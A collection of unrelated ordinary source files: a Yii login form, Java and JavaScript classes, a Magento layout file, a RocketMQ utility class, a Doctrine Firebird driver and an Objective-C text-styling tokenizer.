<?php
namespace common\models;

use Yii;
use yii\base\Model;

/**
 * Login form
 */
class LoginForm extends Model
{
    public $username;
    public $password;
    public $rememberMe = true;

    private $_user;

    /**
     * @inheritdoc
     */
    public function rules()
    {
        return [
            // username and password are both required
            [['username', 'password'], 'required'],
            // rememberMe must be a boolean value
            ['rememberMe', 'boolean'],
            // password is validated by validatePassword()
            ['password', 'validatePassword'],
        ];
    }

    /**
     * Validates the password.
     * This method serves as the inline validation for password.
     *
     * @param string $attribute the attribute currently being validated
     * @param array $params the additional name-value pairs given in the rule
     */
    public function validatePassword($attribute, $params)
    {
        if (!$this->hasErrors()) {
            $user = $this->getUser();
            if (!$user || !$user->validatePassword($this->password)) {
                $this->addError($attribute, '用户名或密码不正确');
            }
        }
    }

    /**
     * Logs in a user using the provided username and password.
     *
     * @return bool whether the user is logged in successfully
     */
    public function login()
    {
        if ($this->validate()) {
            return Yii::$app->user->login($this->getUser(), $this->rememberMe ? 3600 * 24 * 30 : 0);
        } else {
            return false;
        }
    }

    /**
     * Finds user by [[username]]
     *
     * @return User|null
     */
    protected function getUser()
    {
        if ($this->_user === null) {
            $this->_user = User::findByUsername($this->username);
        }

        return $this->_user;
    }
}


package acteve.explorer;

class RWRecord {
	int id;
	int fldId;

	RWRecord(int id, int fldId)
	{
		this.id = id;
		this.fldId = fldId;
	}

	public boolean equals(Object other) {
		if(!(other instanceof RWRecord))
			return false;
		RWRecord otherRecord = (RWRecord) other;
		return this.id == otherRecord.id && this.fldId == otherRecord.fldId;
	}

	public int hashCode() {
		return (id * fldId) % 13;
	}
}


const BinExp = require('./binexp.js');
const Type = require('./type');
const Context = require('../semantic/context.js');

class BinExpAdd extends BinExp {
  constructor(firstExp, addop, secExp) {
    super();
    this.firstExp = firstExp;
    this.binop = addop;
    this.secExp = secExp;
  }

  toString() {
    return `(Add : ${this.firstExp.toString()} ${this.binop.toString()} ${this.secExp.toString()})`;
  }

  analyze(context) {
    this.firstExp.type = this.firstExp.analyze(context);

    if (this.secExp.toString().length > 0) { // gotta ensure that somethings there
      this.secExp.type = this.secExp.analyze(context);
      if (['+', '-'].includes(this.binop)) {
        const isNumber = this.firstExp.type.intCheck() || this.firstExp.type.floatCheck();
        const isNumberTwo = this.secExp.type.intCheck() || this.secExp.type.floatCheck();

        if (!isNumber || !isNumberTwo) {
          throw Error('Wrong operands, expected numbers');
        }

        const isFloat = this.firstExp.type.floatCheck();
        const isFloatTwo = this.secExp.type.floatCheck();

        if (isFloat || isFloatTwo) {
          this.type = Type.FLOAT;
        } else {
          this.type = Type.INT;
        }
      }
    }
    return this.type;
  }
}

module.exports = BinExpAdd;


<?xml version="1.0"?>
<!--

-->
<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
    <body>
        <referenceContainer name="content">
            <block class="Magento\Cookie\Block\RequireCookie" name="require-cookie" template="Magento_Cookie::require_cookie.phtml">
                <arguments>
                    <argument name="triggers" xsi:type="array">
                        <item name="addToWishlistLink" xsi:type="string">.action.towishlist</item>
                    </argument>
                </arguments>
            </block>
        </referenceContainer>
    </body>
</page>


package com.alibaba.rocketmq.common;

import com.alibaba.rocketmq.remoting.common.RemotingHelper;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.text.NumberFormat;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.*;
import java.util.zip.CRC32;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;

/**
 * @author shijia.wxr
 */
public class UtilAll {
    public static final String YYYY_MM_DD_HH_MM_SS = "yyyy-MM-dd HH:mm:ss";
    public static final String YYYY_MM_DD_HH_MM_SS_SSS = "yyyy-MM-dd#HH:mm:ss:SSS";
    public static final String YYYY_MMDD_HHMMSS = "yyyyMMddHHmmss";

    public static int getPid() {
        RuntimeMXBean runtime = ManagementFactory.getRuntimeMXBean();
        String name = runtime.getName(); // format: "pid@hostname"
        try {
            return Integer.parseInt(name.substring(0, name.indexOf('@')));
        } catch (Exception e) {
            return -1;
        }
    }

    public static String currentStackTrace() {
        StringBuilder sb = new StringBuilder();
        StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace();
        for (StackTraceElement ste : stackTrace) {
            sb.append("\n\t");
            sb.append(ste.toString());
        }

        return sb.toString();
    }

    public static String offset2FileName(final long offset) {
        final NumberFormat nf = NumberFormat.getInstance();
        nf.setMinimumIntegerDigits(20);
        nf.setMaximumFractionDigits(0);
        nf.setGroupingUsed(false);
        return nf.format(offset);
    }

    public static long computeEclipseTimeMilliseconds(final long beginTime) {
        return System.currentTimeMillis() - beginTime;
    }

    public static boolean isItTimeToDo(final String when) {
        String[] whiles = when.split(";");
        if (whiles != null && whiles.length > 0) {
            Calendar now = Calendar.getInstance();
            for (String w : whiles) {
                int nowHour = Integer.parseInt(w);
                if (nowHour == now.get(Calendar.HOUR_OF_DAY)) {
                    return true;
                }
            }
        }

        return false;
    }

    public static String timeMillisToHumanString() {
        return timeMillisToHumanString(System.currentTimeMillis());
    }

    public static String timeMillisToHumanString(final long t) {
        Calendar cal = Calendar.getInstance();
        cal.setTimeInMillis(t);
        return String.format("%04d%02d%02d%02d%02d%02d%03d", cal.get(Calendar.YEAR), cal.get(Calendar.MONTH) + 1,
                cal.get(Calendar.DAY_OF_MONTH), cal.get(Calendar.HOUR_OF_DAY), cal.get(Calendar.MINUTE), cal.get(Calendar.SECOND),
                cal.get(Calendar.MILLISECOND));
    }

    public static long computNextMorningTimeMillis() {
        Calendar cal = Calendar.getInstance();
        cal.setTimeInMillis(System.currentTimeMillis());
        cal.add(Calendar.DAY_OF_MONTH, 1);
        cal.set(Calendar.HOUR_OF_DAY, 0);
        cal.set(Calendar.MINUTE, 0);
        cal.set(Calendar.SECOND, 0);
        cal.set(Calendar.MILLISECOND, 0);

        return cal.getTimeInMillis();
    }

    public static long computNextMinutesTimeMillis() {
        Calendar cal = Calendar.getInstance();
        cal.setTimeInMillis(System.currentTimeMillis());
        cal.add(Calendar.DAY_OF_MONTH, 0);
        cal.add(Calendar.HOUR_OF_DAY, 0);
        cal.add(Calendar.MINUTE, 1);
        cal.set(Calendar.SECOND, 0);
        cal.set(Calendar.MILLISECOND, 0);

        return cal.getTimeInMillis();
    }

    public static long computNextHourTimeMillis() {
        Calendar cal = Calendar.getInstance();
        cal.setTimeInMillis(System.currentTimeMillis());
        cal.add(Calendar.DAY_OF_MONTH, 0);
        cal.add(Calendar.HOUR_OF_DAY, 1);
        cal.set(Calendar.MINUTE, 0);
        cal.set(Calendar.SECOND, 0);
        cal.set(Calendar.MILLISECOND, 0);

        return cal.getTimeInMillis();
    }

    public static long computNextHalfHourTimeMillis() {
        Calendar cal = Calendar.getInstance();
        cal.setTimeInMillis(System.currentTimeMillis());
        cal.add(Calendar.DAY_OF_MONTH, 0);
        cal.add(Calendar.HOUR_OF_DAY, 1);
        cal.set(Calendar.MINUTE, 30);
        cal.set(Calendar.SECOND, 0);
        cal.set(Calendar.MILLISECOND, 0);

        return cal.getTimeInMillis();
    }

    public static String timeMillisToHumanString2(final long t) {
        Calendar cal = Calendar.getInstance();
        cal.setTimeInMillis(t);
        return String.format("%04d-%02d-%02d %02d:%02d:%02d,%03d",
                cal.get(Calendar.YEAR),
                cal.get(Calendar.MONTH) + 1,
                cal.get(Calendar.DAY_OF_MONTH),
                cal.get(Calendar.HOUR_OF_DAY),
                cal.get(Calendar.MINUTE),
                cal.get(Calendar.SECOND),
                cal.get(Calendar.MILLISECOND));
    }

    public static String timeMillisToHumanString3(final long t) {
        Calendar cal = Calendar.getInstance();
        cal.setTimeInMillis(t);
        return String.format("%04d%02d%02d%02d%02d%02d",
                cal.get(Calendar.YEAR),
                cal.get(Calendar.MONTH) + 1,
                cal.get(Calendar.DAY_OF_MONTH),
                cal.get(Calendar.HOUR_OF_DAY),
                cal.get(Calendar.MINUTE),
                cal.get(Calendar.SECOND));
    }

    public static double getDiskPartitionSpaceUsedPercent(final String path) {
        if (null == path || path.isEmpty())
            return -1;

        try {
            File file = new File(path);
            if (!file.exists()) {
                boolean result = file.mkdirs();
                if (!result) {
                }
            }

            long totalSpace = file.getTotalSpace();
            long freeSpace = file.getFreeSpace();
            long usedSpace = totalSpace - freeSpace;
            if (totalSpace > 0) {
                return usedSpace / (double) totalSpace;
            }
        } catch (Exception e) {
            return -1;
        }

        return -1;
    }

    public static final int crc32(byte[] array) {
        if (array != null) {
            return crc32(array, 0, array.length);
        }

        return 0;
    }

    public static final int crc32(byte[] array, int offset, int length) {
        CRC32 crc32 = new CRC32();
        crc32.update(array, offset, length);
        return (int) (crc32.getValue() & 0x7FFFFFFF);
    }

    final static char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();

    public static String bytes2string(byte[] src) {
        char[] hexChars = new char[src.length * 2];
        for (int j = 0; j < src.length; j++) {
            int v = src[j] & 0xFF;
            hexChars[j * 2] = HEX_ARRAY[v >>> 4];
            hexChars[j * 2 + 1] = HEX_ARRAY[v & 0x0F];
        }
        return new String(hexChars);
    }

    public static byte[] string2bytes(String hexString) {
        if (hexString == null || hexString.equals("")) {
            return null;
        }
        hexString = hexString.toUpperCase();
        int length = hexString.length() / 2;
        char[] hexChars = hexString.toCharArray();
        byte[] d = new byte[length];
        for (int i = 0; i < length; i++) {
            int pos = i * 2;
            d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
        }
        return d;
    }

    private static byte charToByte(char c) {
        return (byte) "0123456789ABCDEF".indexOf(c);
    }

    public static byte[] uncompress(final byte[] src) throws IOException {
        byte[] result = src;
        byte[] uncompressData = new byte[src.length];
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(src);
        InflaterInputStream inflaterInputStream = new InflaterInputStream(byteArrayInputStream);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(src.length);

        try {
            while (true) {
                int len = inflaterInputStream.read(uncompressData, 0, uncompressData.length);
                if (len <= 0) {
                    break;
                }
                byteArrayOutputStream.write(uncompressData, 0, len);
            }
            byteArrayOutputStream.flush();
            result = byteArrayOutputStream.toByteArray();
        } catch (IOException e) {
            throw e;
        } finally {
            try {
                byteArrayInputStream.close();
            } catch (IOException e) {
            }
            try {
                inflaterInputStream.close();
            } catch (IOException e) {
            }
            try {
                byteArrayOutputStream.close();
            } catch (IOException e) {
            }
        }

        return result;
    }

    public static byte[] compress(final byte[] src, final int level) throws IOException {
        byte[] result = src;
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(src.length);
        java.util.zip.Deflater defeater = new java.util.zip.Deflater(level);
        DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream, defeater);
        try {
            deflaterOutputStream.write(src);
            deflaterOutputStream.finish();
            deflaterOutputStream.close();
            result = byteArrayOutputStream.toByteArray();
        } catch (IOException e) {
            defeater.end();
            throw e;
        } finally {
            try {
                byteArrayOutputStream.close();
            } catch (IOException ignored) {
            }

            defeater.end();
        }

        return result;
    }

    public static int asInt(String str, int defaultValue) {
        try {
            return Integer.parseInt(str);
        } catch (Exception e) {
            return defaultValue;
        }
    }

    public static long asLong(String str, long defaultValue) {
        try {
            return Long.parseLong(str);
        } catch (Exception e) {
            return defaultValue;
        }
    }

    public static String formatDate(Date date, String pattern) {
        SimpleDateFormat df = new SimpleDateFormat(pattern);
        return df.format(date);
    }

    public static Date parseDate(String date, String pattern) {
        SimpleDateFormat df = new SimpleDateFormat(pattern);
        try {
            return df.parse(date);
        } catch (ParseException e) {
            return null;
        }
    }

    public static String responseCode2String(final int code) {
        return Integer.toString(code);
    }

    public static String frontStringAtLeast(final String str, final int size) {
        if (str != null) {
            if (str.length() > size) {
                return str.substring(0, size);
            }
        }

        return str;
    }

    public static boolean isBlank(String str) {
        int strLen;
        if (str == null || (strLen = str.length()) == 0) {
            return true;
        }
        for (int i = 0; i < strLen; i++) {
            if (!Character.isWhitespace(str.charAt(i))) {
                return false;
            }
        }
        return true;
    }

    public static String jstack() {
        return jstack(Thread.getAllStackTraces());
    }

    public static String jstack(Map<Thread, StackTraceElement[]> map) {
        StringBuilder result = new StringBuilder();
        try {
            Iterator<Map.Entry<Thread, StackTraceElement[]>> ite = map.entrySet().iterator();
            while (ite.hasNext()) {
                Map.Entry<Thread, StackTraceElement[]> entry = ite.next();
                StackTraceElement[] elements = entry.getValue();
                Thread thread = entry.getKey();
                if (elements != null && elements.length > 0) {
                    String threadName = entry.getKey().getName();
                    result.append(String.format("%-40sTID: %d STATE: %s%n", threadName, thread.getId(), thread.getState()));
                    for (StackTraceElement el : elements) {
                        result.append(String.format("%-40s%s%n", threadName, el.toString()));
                    }
                    result.append("\n");
                }
            }
        } catch (Throwable e) {
            result.append(RemotingHelper.exceptionSimpleDesc(e));
        }

        return result.toString();
    }

    public static boolean isInternalIP(byte[] ip) {
        if (ip.length != 4) {
            throw new RuntimeException("illegal ipv4 bytes");
        }

        //10.0.0.0~10.255.255.255
        //172.16.0.0~172.31.255.255
        //192.168.0.0~192.168.255.255
        if (ip[0] == (byte) 10) {

            return true;
        } else if (ip[0] == (byte) 172) {
            if (ip[1] >= (byte) 16 && ip[1] <= (byte) 31) {
                return true;
            }
        } else if (ip[0] == (byte) 192) {
            if (ip[1] == (byte) 168) {
                return true;
            }
        }
        return false;
    }

    private static boolean ipCheck(byte[] ip) {
        if (ip.length != 4) {
            throw new RuntimeException("illegal ipv4 bytes");
        }

//        if (ip[0] == (byte)30 && ip[1] == (byte)10 && ip[2] == (byte)163 && ip[3] == (byte)120) {
//        }

        if (ip[0] >= (byte) 1 && ip[0] <= (byte) 126) {
            if (ip[1] == (byte) 1 && ip[2] == (byte) 1 && ip[3] == (byte) 1) {
                return false;
            }
            if (ip[1] == (byte) 0 && ip[2] == (byte) 0 && ip[3] == (byte) 0) {
                return false;
            }
            return true;
        } else if (ip[0] >= (byte) 128 && ip[0] <= (byte) 191) {
            if (ip[2] == (byte) 1 && ip[3] == (byte) 1) {
                return false;
            }
            if (ip[2] == (byte) 0 && ip[3] == (byte) 0) {
                return false;
            }
            return true;
        } else if (ip[0] >= (byte) 192 && ip[0] <= (byte) 223) {
            if (ip[3] == (byte) 1) {
                return false;
            }
            if (ip[3] == (byte) 0) {
                return false;
            }
            return true;
        }
        return false;
    }

    public static String ipToIPv4Str(byte[] ip) {
        if (ip.length != 4) {
            return null;
        }
        return new StringBuilder().append(ip[0] & 0xFF).append(".").append(
                ip[1] & 0xFF).append(".").append(ip[2] & 0xFF)
                .append(".").append(ip[3] & 0xFF).toString();
    }

    public static byte[] getIP() {
        try {
            Enumeration allNetInterfaces = NetworkInterface.getNetworkInterfaces();
            InetAddress ip = null;
            byte[] internalIP = null;
            while (allNetInterfaces.hasMoreElements()) {
                NetworkInterface netInterface = (NetworkInterface) allNetInterfaces.nextElement();
                Enumeration addresses = netInterface.getInetAddresses();
                while (addresses.hasMoreElements()) {
                    ip = (InetAddress) addresses.nextElement();
                    if (ip != null && ip instanceof Inet4Address) {
                        byte[] ipByte = ip.getAddress();
                        if (ipByte.length == 4) {
                            if (ipCheck(ipByte)) {
                                if (!isInternalIP(ipByte)) {
                                    return ipByte;
                                } else if (internalIP == null) {
                                    internalIP = ipByte;
                                }
                            }
                        }
                    }
                }
            }
            if (internalIP != null) {
                return internalIP;
            } else {
                throw new RuntimeException("Can not get local ip");
            }
        } catch (Exception e) {
            throw new RuntimeException("Can not get local ip", e);
        }
    }
}


Consolidated [TypeScript](https://www.typescriptlang.org/) dependencies for transpiling ES.

---
### License: MIT


<?php

Doctrine::autoload('Doctrine_Connection');
/**
 * Doctrine_Connection_Firebird
 *
 * @package     Doctrine
 * @subpackage  Connection
 * @license     http://www.opensource.org/licenses/lgpl-license.php LGPL
 * @author      Konsta Vesterinen <kvesteri@cc.hut.fi>
 * @author      Lukas Smith <smith@pooteeweet.org> (PEAR MDB2 library)
 * @author      Lorenzo Alberton <l.alberton@quipo.it> (PEAR MDB2 Interbase driver)
 * @version     $Revision: 4037 $
 * @link        www.phpdoctrine.org
 * @since       1.0
 */
class Doctrine_Connection_Firebird extends Doctrine_Connection
{
    /**
     * @var string $driverName                  the name of this connection driver
     */
    protected $driverName = 'Firebird';

    /**
     * the constructor
     *
     * @param Doctrine_Manager $manager
     * @param PDO $pdo                          database handle
     */
    public function __construct(Doctrine_Manager $manager, $adapter)
    {

        $this->supported = array(
                          'sequences'             => true,
                          'indexes'               => true,
                          'affected_rows'         => true,
                          'summary_functions'     => true,
                          'order_by_text'         => true,
                          'transactions'          => true,
                          'savepoints'            => true,
                          'current_id'            => true,
                          'limit_queries'         => 'emulated',
                          'LOBs'                  => true,
                          'replace'               => 'emulated',
                          'sub_selects'           => true,
                          'auto_increment'        => true,
                          'primary_key'           => true,
                          'result_introspection'  => true,
                          'prepared_statements'   => true,
                          'identifier_quoting'    => false,
                          'pattern_escaping'      => true
                          );
        // initialize all driver options
        /**
        $this->options['DBA_username'] = false;
        $this->options['DBA_password'] = false;
        $this->options['database_path'] = '';
        $this->options['database_extension'] = '.gdb';
        $this->options['server_version'] = '';
        */
        parent::__construct($manager, $adapter);
    }

    /**
     * Set the charset on the current connection
     *
     * @param string    charset
     *
     * @return void
     */
    public function setCharset($charset)
    {
        $query = 'SET NAMES '.$this->dbh->quote($charset);
        $this->exec($query);
    }

    /**
     * Adds an driver-specific LIMIT clause to the query
     *
     * @param string $query     query to modify
     * @param integer $limit    limit the number of rows
     * @param integer $offset   start reading from given offset
     * @return string modified  query
     */
    public function modifyLimitQuery($query, $limit = false, $offset = false, $isManip = false)
    {
        if ($limit > 0) {
            $query = preg_replace('/^([\s(])*SELECT(?!\s*FIRST\s*\d+)/i',
                "SELECT FIRST $limit SKIP $offset", $query);
        }
        return $query;
    }
}


#import "MPColorTools.h"
#import "TML.h"
#import "TMLAttributedDecorationTokenizer.h"
#import "TMLConfiguration.h"

@interface TMLAttributedDecorationTokenizer ()

@end

@implementation TMLAttributedDecorationTokenizer

+ (void)addStroke:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
    NSDictionary *styles = ((NSDictionary *) data);

    if ([styles objectForKey:@"color"]) {
        [attributedString addAttribute: NSStrokeColorAttributeName value: [self colorFromData:[styles objectForKey:@"color"]] range:range];
    }

    if ([styles objectForKey:@"width"]) {
        float width = [[styles objectForKey:@"width"] floatValue];
        [attributedString addAttribute: NSStrokeWidthAttributeName value: @(width) range:range];
    }
}

+ (void)addShadow:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
    NSDictionary *styles = ((NSDictionary *) data);

    NSShadow *shadow = [[NSShadow alloc] init];
    if ([styles objectForKey:@"offset"]) {
        NSArray *parts = [[styles objectForKey:@"offset"] componentsSeparatedByString:@","];
        if ([parts count] == 2)
            shadow.shadowOffset = CGSizeMake([[parts objectAtIndex:0] floatValue], [[parts objectAtIndex:1] floatValue]);
    }

    if ([styles objectForKey:@"radius"]) {
        shadow.shadowBlurRadius = [[styles objectForKey:@"radius"] floatValue];
    }

    if ([styles objectForKey:@"color"]) {
        shadow.shadowColor = [self colorFromData:[styles objectForKey:@"color"]];
    }

    [attributedString addAttribute: NSShadowAttributeName value: shadow range:range];
}

+ (void)addTextEffects:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
    NSString *style = ((NSString *) data);
    if ([style isEqualToString:@"letterpress"]) {
        [attributedString addAttribute: NSTextEffectAttributeName value: NSTextEffectLetterpressStyle range:range];
    }
}

+ (void)addParagraphStyles:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
    NSDictionary *styles = ((NSDictionary *) data);

    NSMutableParagraphStyle *paragraphStyle = [[NSMutableParagraphStyle alloc] init];

    if ([styles objectForKey:@"line-spacing"])
        paragraphStyle.lineSpacing = [[styles objectForKey:@"line-spacing"] floatValue];

    if ([styles objectForKey:@"paragraph-spacing"])
        paragraphStyle.paragraphSpacing = [[styles objectForKey:@"paragraph-spacing"] floatValue];

    if ([styles objectForKey:@"alignment"]) {
        NSString *alignment = [styles objectForKey:@"alignment"];
        if ([alignment isEqualToString:@"left"])
            paragraphStyle.alignment = NSTextAlignmentLeft;
        else if ([alignment isEqualToString:@"right"])
            paragraphStyle.alignment = NSTextAlignmentRight;
        else if ([alignment isEqualToString:@"center"])
            paragraphStyle.alignment = NSTextAlignmentCenter;
        else if ([alignment isEqualToString:@"justified"])
            paragraphStyle.alignment = NSTextAlignmentJustified;
        else if ([alignment isEqualToString:@"natural"])
            paragraphStyle.alignment = NSTextAlignmentNatural;
    }

    if ([styles objectForKey:@"first-line-head-indent"])
        paragraphStyle.firstLineHeadIndent = [[styles objectForKey:@"first-line-head-indent"] floatValue];

    if ([styles objectForKey:@"head-indent"])
        paragraphStyle.headIndent = [[styles objectForKey:@"head-indent"] floatValue];

    if ([styles objectForKey:@"tail-indent"])
        paragraphStyle.tailIndent = [[styles objectForKey:@"tail-indent"] floatValue];

    if ([styles objectForKey:@"line-breaking-mode"]) {
        NSString *mode = (NSString *) [styles objectForKey:@"line-breaking-mode"];
        if ([mode isEqualToString:@"word"])
            paragraphStyle.lineBreakMode = NSLineBreakByWordWrapping;
        else if ([mode isEqualToString:@"char"])
            paragraphStyle.lineBreakMode = NSLineBreakByCharWrapping;
        else if ([mode isEqualToString:@"clipping"])
            paragraphStyle.lineBreakMode = NSLineBreakByClipping;
        else if ([mode isEqualToString:@"truncate-head"])
            paragraphStyle.lineBreakMode = NSLineBreakByTruncatingHead;
        else if ([mode isEqualToString:@"truncate-tail"])
            paragraphStyle.lineBreakMode = NSLineBreakByTruncatingTail;
        else if ([mode isEqualToString:@"truncate-middle"])
            paragraphStyle.lineBreakMode = NSLineBreakByTruncatingMiddle;
    }

    if ([styles objectForKey:@"minimum-line-height"])
        paragraphStyle.minimumLineHeight = [[styles objectForKey:@"minimum-line-height"] floatValue];

    if ([styles objectForKey:@"maximum-line-height"])
        paragraphStyle.maximumLineHeight = [[styles objectForKey:@"maximum-line-height"] floatValue];

    if ([styles objectForKey:@"writing-direction"]) {
        NSString *dir = (NSString *) [styles objectForKey:@"writing-direction"];
        if ([dir isEqualToString:@"natural"])
            paragraphStyle.baseWritingDirection = NSWritingDirectionNatural;
        else if ([dir isEqualToString:@"ltr"])
            paragraphStyle.baseWritingDirection = NSWritingDirectionLeftToRight;
        else if ([dir isEqualToString:@"rtl"])
            paragraphStyle.baseWritingDirection = NSWritingDirectionRightToLeft;
    }

    if ([styles objectForKey:@"line-height-multiple"])
        paragraphStyle.lineHeightMultiple = [[styles objectForKey:@"line-height-multiple"] floatValue];

    if ([styles objectForKey:@"line-height-multiple"])
        paragraphStyle.paragraphSpacingBefore = [[styles objectForKey:@"line-height-multiple"] floatValue];

    [attributedString addAttribute: NSParagraphStyleAttributeName value:paragraphStyle range:range];
}

+ (void)addStrikeThrough:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
    if ([data isKindOfClass:NSString.class]) {
        NSString *thickness = ((NSString *) data);
        [attributedString addAttribute: NSStrikethroughStyleAttributeName value:@([thickness intValue]) range:range];
        return;
    }

    if ([data isKindOfClass:NSDictionary.class]) {
        NSDictionary *options = (NSDictionary *) data;
        if ([options objectForKey:@"thickness"]) {
            [attributedString addAttribute: NSStrikethroughStyleAttributeName value: @([[options objectForKey:@"thickness"] intValue]) range:range];
        }
        NSString *color = [options objectForKey:@"color"];
        if (color) {
            [attributedString addAttribute: NSStrikethroughColorAttributeName value: [self colorFromData:color] range:range];
        }
    }
}

+ (NSUnderlineStyle) underlineOptionsFromData: (NSObject *)data {
    NSUnderlineStyle opts = NSUnderlineStyleNone;

    if ([data isKindOfClass:NSString.class]) {
        if ([data isEqual:@"none"]) {
            opts = NSUnderlineStyleNone;
        } else if ([data isEqual:@"single"]) {
            opts = NSUnderlineStyleSingle;
        } else if ([data isEqual:@"double"]) {
            opts = NSUnderlineStyleDouble;
        } else if ([data isEqual:@"thick"]) {
            opts = NSUnderlineStyleThick;
        }
        return opts;
    }

    if ([data isKindOfClass:NSDictionary.class]) {
        NSDictionary *options = (NSDictionary *) data;

        NSString *style = [options objectForKey:@"style"];
        if (style == nil) style = @"single";
        NSString *pattern = [options objectForKey:@"pattern"];
        if (pattern == nil) pattern = @"solid";
        NSString *byword = [options objectForKey:@"byword"];
        if (byword == nil) byword = @"false";

        if ([style isEqual:@"none"]) {
            opts = NSUnderlineStyleNone;
        } else if ([style isEqual:@"single"]) {
            opts = NSUnderlineStyleSingle;
        } else if ([style isEqual:@"double"]) {
            opts = NSUnderlineStyleDouble;
        } else if ([style isEqual:@"thick"]) {
            opts = NSUnderlineStyleThick;
        }

        if ([pattern isEqual:@"solid"]) {
            opts = opts | NSUnderlinePatternSolid;
        } else if ([pattern isEqual:@"dot"]) {
            opts = opts | NSUnderlinePatternDot;
        } else if ([pattern isEqual:@"dash"]) {
            opts = opts | NSUnderlinePatternDash;
        } else if ([pattern isEqual:@"dashdot"]) {
            opts = opts | NSUnderlinePatternDashDot;
        } else if ([pattern isEqual:@"dashdotdot"]) {
            opts = opts | NSUnderlinePatternDashDotDot;
        } else if ([pattern isEqual:@"dashdotdot"]) {
            opts = opts | NSUnderlinePatternDashDotDot;
        }

        if ([byword isEqual:@"true"]) {
            opts = opts | NSUnderlineByWord;
        }
        return opts;
    }

    return opts;
}

+ (void)addUnderline:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
    [attributedString addAttribute: NSUnderlineStyleAttributeName value:@([self underlineOptionsFromData:data]) range:range];

    if ([data isKindOfClass:NSDictionary.class]) {
        NSDictionary *options = (NSDictionary *) data;
        NSString *color = [options objectForKey:@"color"];
        if (color) {
            [attributedString addAttribute: NSUnderlineColorAttributeName value: [self colorFromData:color] range:range];
        }
    }
}

/**
 * @{@"font": [UIFont fontWithName....]}
 * @{@"font": @{@"name": @"Arial", @"size": @8}}
 * @{@"font": @"Arial, 8"}
 */

+ (UIFont *) fontFromData: (NSObject *)data {
    if ([data isKindOfClass: UIFont.class]) {
        return (UIFont *) data;
    }

    if ([data isKindOfClass: NSDictionary.class]) {
        NSDictionary *settings = (NSDictionary *) data;
        NSString *fontName = [settings objectForKey:@"name"];
        NSNumber *fontSize = [settings objectForKey:@"size"];

        if ([fontName isEqualToString:@"system"]) {
            if ([[settings objectForKey:@"type"] isEqualToString:@"bold"]) {
                return [UIFont boldSystemFontOfSize:[fontSize floatValue]];
            }
            if ([[settings objectForKey:@"type"] isEqualToString:@"italic"]) {
                return [UIFont italicSystemFontOfSize:[fontSize floatValue]];
            }
            return [UIFont systemFontOfSize:[fontSize floatValue]];
        }

        return [UIFont fontWithName:fontName size:[fontSize floatValue]];
    }

    if ([data isKindOfClass: NSString.class]) {
        NSArray *elements = [((NSString *) data) componentsSeparatedByString:@","];
        if ([elements count] < 2) return nil;
        NSString *fontName = [elements objectAtIndex:0];
        float fontSize = [[elements objectAtIndex:1] floatValue];
        return [UIFont fontWithName:fontName size:fontSize];
    }

    return nil;
}

+ (void)addFont:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
    UIFont *font = [self fontFromData:data];
    if (font == nil) return;
    [attributedString addAttribute: NSFontAttributeName value:font range:range];
}

/**
 * @{@"color": [UIColor ...]}
 * @{@"color": @{@"red": @111, @"green": @8 ...}}
 * @{@"color": @"fbc"}
 */
+ (UIColor *) colorFromData: (NSObject *)data {
    if ([data isKindOfClass: UIColor.class]) {
        return (UIColor *) data;
    }

    if ([data isKindOfClass: NSDictionary.class]) {
        NSDictionary *settings = (NSDictionary *) data;
         UIColor *color = [UIColor colorWithRed:[[settings objectForKey:@"red"] floatValue]
                                green:[[settings objectForKey:@"green"] floatValue]
                                 blue:[[settings objectForKey:@"blue"] floatValue]
                                alpha:[[settings objectForKey:@"alpha"] floatValue]];

        return color;
    }

    if ([data isKindOfClass: NSString.class]) {
        NSString *name = ((NSString *) data);

        if ([name isEqualToString:@"black"]) return [UIColor blackColor];
        if ([name isEqualToString:@"dark-gray"]) return [UIColor darkGrayColor];
        if ([name isEqualToString:@"light-gray"]) return [UIColor lightGrayColor];
        if ([name isEqualToString:@"white"]) return [UIColor whiteColor];
        if ([name isEqualToString:@"gray"]) return [UIColor grayColor];
        if ([name isEqualToString:@"red"]) return [UIColor redColor];
        if ([name isEqualToString:@"green"]) return [UIColor greenColor];
        if ([name isEqualToString:@"blue"]) return [UIColor blueColor];
        if ([name isEqualToString:@"cyan"]) return [UIColor cyanColor];
        if ([name isEqualToString:@"yellow"]) return [UIColor yellowColor];
        if ([name isEqualToString:@"magenta"]) return [UIColor magentaColor];
        if ([name isEqualToString:@"orange"]) return [UIColor orangeColor];
        if ([name isEqualToString:@"purple"]) return [UIColor purpleColor];
        if ([name isEqualToString:@"brown"]) return [UIColor brownColor];
        if ([name isEqualToString:@"clear"]) return [UIColor clearColor];

        return MP_HEX_RGB(name);
    }

    return nil;
}

+ (void)addColor:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
    [attributedString addAttribute: NSForegroundColorAttributeName value:[self colorFromData:data] range:range];
}

+ (void)addBackgroundColor:(NSObject *)data toRange: (NSRange) range inAttributedString: (NSMutableAttributedString *) attributedString {
    [attributedString addAttribute: NSBackgroundColorAttributeName value:[self colorFromData:data] range:range];
}

